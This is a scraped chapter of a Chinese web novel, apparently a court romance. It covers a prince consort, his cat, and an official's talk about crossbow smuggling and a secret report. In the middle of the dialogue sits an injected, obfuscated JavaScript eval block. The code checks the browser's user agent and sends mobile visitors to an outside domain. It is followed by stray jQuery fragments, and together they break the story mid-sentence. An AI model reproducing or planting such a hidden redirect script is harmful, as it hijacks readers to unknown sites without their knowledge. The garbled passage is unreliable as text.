默认冷灰
24号文字
方正启体

51. 暗流涌动

作者:凤箫引本书字数:K更新时间:
    萧鄞本就走得很慢,听到背后呼唤,脚步一顿、回身折返:“怎么了?”


    孟书瑶并没想好要说什么,见他真的折返,怔愣片刻才回过神,挤出微笑轻声叮嘱:“这新设的职务,你已做得够多够好了。”


    萧鄞脸上笑容一僵,若无其事道:“哦。”


    孟书瑶想了想又说:“朝中局势乱七八糟,你要惜身。”


    萧鄞一字不漏静静听完,又愣了半晌,眉眼重新弯起,微微颔首,带点俏皮笑着说:“遵命。”


    孟书瑶回首往院门走了几步,心猛地空了、怅然若失,似是酒意上头,走了几步突然转身,飞奔到角门,拉下门闩推开门,往窄巷看去。


    只见雪越下越大,落在漫步人的头顶和肩头,薄薄一层洁白,窄巷深处灯光昏暗,映得他背影飘渺而模糊,一半光亮、一半幽暗。


    像是她臆想出的幻觉。


    .


    公主府内,公主与驸马的寝殿一般是分开的,驸马若要侍寝,只能递帖层层申请、或直接由公主传召。


    譬如昭宁公主府,公主寝殿是昭纯殿,驸马寝殿流月殿居其正北,隔了个座小花园。


    萧鄞抱着雪球回流月殿时,雪球正吃完第三颗山楂,扒拉竹签上仅剩的那颗。萧鄞把它杵进猫窝,恨恨道:“馋猫,一颗都不给我留!”


    雪球咆哮一声,弹跳起来抢他手中竹签,萧鄞飞快抽走糖葫芦,当着它的面放进自己嘴里、嚼碎。


    雪球挥舞爪子往他脸上拍去,萧鄞闲闲躲开,揪住它后颈提起来,另一只手捏了捏它圆滚滚肚皮,一边嚼糖葫芦一边含糊不清道:“胖成这样还吃,脾气还凶,你说说……她喜欢你什么,凭什么让你睡她的床?”


    一人一猫对视半晌,萧鄞表情从疑惑转为惊恐:“该不会她品味独特,就喜欢你这种又胖又懒又馋脾气还差的……”


    “呼——”雪球气鼓鼓呲牙,却挣脱不开,眼睁睁看着最后一颗山楂进了他肚子,怒得呼哧呼哧喘息。忽然灵机一动,撇开后腿。


    “教你多少次,去外边撒尿!”


    萧鄞猝不及防淋了半身骚臭,忙不迭丢下雪球,端着空盆跑去外边打水洗。


    洗着洗着想到什么,用干净那只手摸索一番,从胸口掏出一块丝帕,满意地欣赏起来。


    白绸上绣着一簇浅粉海棠,粘着些细碎糖皮,洗净晾干、仍能嗅到玫瑰甜香。


    雪球跑在他跟前,歪头看他将水倒出来,忙抢身挤过去舔活水。萧鄞倨傲地瞥了一眼,推开它:“就不给你喝!”


    雪球鼻子都气歪了,后退几步再猛然冲刺、撞翻水盆。趁凉水泼到他鞋上时,跳上树骄傲地俯视他两眼,趾高气昂地向昭纯殿窜去。


    石兰虽听说公主留宿嘉月公主府,仍将几件冬衣放在熏笼上烘烤,生怕雪天衣物受潮、公主临时要穿受凉。“嘎吱”一声响,门缝里挤进个白绒绒圆滚滚的小身躯。


    “狸奴,驸马不是抱你去流月殿,怎么又回来了?”


    雪球急促喵喵几声,又往流月殿方向摆头,奈何石兰听不懂。雪球气愤而失望,转了几个圈圈,迈着小短腿跑到门边,把门扒拉关上。


    然后跳到孟书瑶床上,惬意地打了个哈欠。临睡前,它又特意看了眼房门,发现石兰正拿门闩,才心满意足闭上眼睛。


    这次,终于不会有神经病扰它清梦,把它活生生薅起来、抱出去吹冷风。


    连颗糖葫芦都跟它抢,可恶的两脚兽!


    .


    第二天,萧鄞涂了些脂粉在脖子上,堪堪盖住猫爪挠痕。上朝经过开明门,一眼瞅见卢韶君在门口值守、还未交班,忙不动声色竖起衣领——卢韶君弓马娴熟,目力远超常人。


    所幸,卢韶君似有心事,一直表情凝重,有熟人经过身侧,他也只点点头、以示招呼。


    朝会上,所有人都眼观鼻鼻观心,郑重其事地谈论正事。萧鄞也谨慎奏对几次,直到退朝,并没人注意他的异样。


    走出开明门时,他长舒一口气,正要上马车,谢怀川从斜刺里冒出,拉着他往自己马车里塞:“借一步说话。”


    谢怀川找他,是为灵昌近期出现的□□。


    月初只一家邱记铁匠铺有售卖,其他铁匠铺瞧着眼热,托关系高价购得、而后拆解复刻,虽不及最初那批力道强,射死几只鸟和兔子没半点问题。


    王公贵族把玩□□成风,愈演愈烈,短短大半月,灵昌街头私售□□的铁匠铺已有五六家。


    “我们跟西城兵马司盯了一阵,邱记铁匠铺那批货来自珪山”,谢怀川环顾左右,压低声音,“究竟怎么回事,有没有底?”


    萧鄞诚惶诚恐:“下官失察,九月初珪山就有私售□□,当时不知轻重,任其流向京师……”


    “罢了,若非良郡之战,谁能往那方面想”,谢怀川叹气,他也收过黑市孝敬的□□,“月初你跟林郡守查抄那几次,果真一无所获?”


    “军械贩子太过狡猾,每次我们赶到,人、军械和账本撤得干干净净”,萧鄞满面愁容,忽然懊恼地一拍大腿,“最挨近那次,人刚逃走,炭炉里还燃着账本,就晚那么一步。”


    谢怀川沉默良久,不知在想什么,直到车外人声渐稀,才轻声说:“你好歹在珪山呆了多年……”


    萧鄞憨厚地笑了笑:“不过作为商贾走马观花,下官年轻,不知朝堂深浅,还要多仰仗表兄。”


    他拉开车帘向南风招手,南风忙抱着条形长盒小跑过来,那盒子长约半丈,幸亏谢怀川马车宽敞,才勉强装得下。萧鄞揭开木盒给谢怀川看,是一对极宽的画轴,略展开一截绢帛,写着“渝安百商舆图”。


    萧鄞满脸诚恳:“王上命下官绘此舆图,意在通览渝安商贾景况,下官资历浅,只晓得照实绘图,可否请表兄把把关。”


    谢怀川颔首微笑:“谁都不是一开始就会当官,多看多学就懂了,这图既是呈给圣上,我也不便先睹。你只管想想最近的□□走私案,那是国之根基啊,黑市交易总有个聚头地,总有明面上的正经生意遮掩,你知道多少就添多少……”


    萧鄞有些为难:“王上命下官在年终大朝会上公然献图,郡公爷和林郡守兢兢业业,我标出这么多纰漏去拆人台,是否不太好?”


    “你能体谅同僚为官不易,这是好的,可渝安乃边贸重镇,出了纰漏会动摇国本”,谢怀川拍拍他肩膀,以示宽慰,“珪山黑市成型几十年,陛下并非一无所知,林沛今年才上任,担不了多大干系。”


    沉吟片刻,谢怀川又道:“你顾虑的也有些道理,年底大朝会,谁都想讨个好彩头,不如……你见识广,是否知晓一种墨水,绘上去后火烤才能显形。”


    萧鄞脸上显出害怕:“这……不好吧。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274468|174475||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    谢怀川笑道:“没什么不好,本就不该什么东西都公开呈报,事先密奏陛下即可。”


    萧鄞长吁一口气,似悬着的心终于落地,笑着拱手一礼:“多谢表兄提点。”


    “无妨,一家人、什么提点不提点”,谢怀川目光移向他脖子,伸手替他竖起衣领,眼神颇为同情,“瑶瑶性情率真,难为你多担待。”


    “公主待下官很好”,萧鄞顺嘴客套,脑子飞速旋转、思索着密奏,陡然意识到他在看自己脖颈,忙解释,“……不是,这儿是猫挠的。”


    谢怀川认同点头:“哦,这猫脾气挺冲。”


    萧鄞顿时耳根通红:“真是猫,公主昨晚在嘉月姑母府上。”


    “我知道是猫,放心,我挨你这么近才发现,别人更看不到”,谢怀川一本正经道,“内子与瑶瑶还算谈得来,你若有求,我可让她来公主府劝劝……猫。”


    萧鄞:“……”


    简直浑身是嘴也说不清。


    赶紧行了一礼,逃也似的跑向自己马车。


    谢府马车在他身后缓缓启动,谢怀川掀开窗帘,盯着他仓皇背影,脸上显出一抹促狭:“瑶瑶命好,自个儿绣花枕头,倒找了个得力夫婿。”


    长随微愕:“当初您不还说,他出身低了些、名声也不大好?”


    “从白衣陡然掌管一部,如贫儿乍富,换旁人早春风得意、喜形于色,没几个如他这般沉住得气”,谢怀川笑着摇摇头,“我当年入仕,父亲三申五令通通没用,摔了几次跟头才学会谨慎,可有的人天生就会……这小子,前程不可限量啊。”


    .


    萧鄞在马车里换下朝服,拿起空空的熏炉,往里面夹炭火。


    南风坐在对面:“夫人说,今天病人多,估摸着要忙到午膳后。”


    萧鄞慢慢将灰抹平,搁上云母片,又拉开抽屉取香料罐:“无妨,我们先接公主去清风楼吃饭。”


    南风:“清风楼那边雅座,昨儿中午就订好了。”


    萧鄞颔首,取出一粒香丸搁在云母片上:“会不会太冲了?”


    南风咧嘴一笑:“女子体寒,外面霜天冻地的,熏辟寒香正合适。”


    快过年了,官僚商贾宴饮交际颇多,清风楼生意火爆,幸亏南风订座早,预留了一个靠窗雅间。


    萧鄞当了小半年驸马,仍不习惯用公主府名号行特权,故二人吃饭时并未清场。吃着时鲜菜品,听隔壁喝酒谈笑,虽听不真切、也觉得十分热闹,竟胃口大开。


    用完午饭后,萧鄞挑了几样味道好的菜品,让后厨照样再做一份,候在雅间门口等打包。


    清风楼的茶水有一股炒麦味,很清爽化食,孟书瑶在屋内一边饮茶一边看风景,忽听门口传来熟悉的声音:“这么巧,你们也在?”


    是卢韶君,身旁站着位中年男子,身材魁梧、面黑微须。中年男子看了看萧鄞,眼带征询望向卢韶君:“敢问这位贵人是……”


    卢韶君环顾四周,见无人注意,忙一手挽着萧鄞、一手拉着中年男子,闪身进了包厢,顺手将门反锁。


    然后,对孟书瑶屈膝半跪:“姨父,是昭宁长公主与萧驸马。”


    中年男子铿然跪下,深吸一口气,卢韶君忙竖起食指做噤声手势,于是洪钟般的声音陡然压低。


    “末将良郡戚晟,拜谢长公主殿下!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)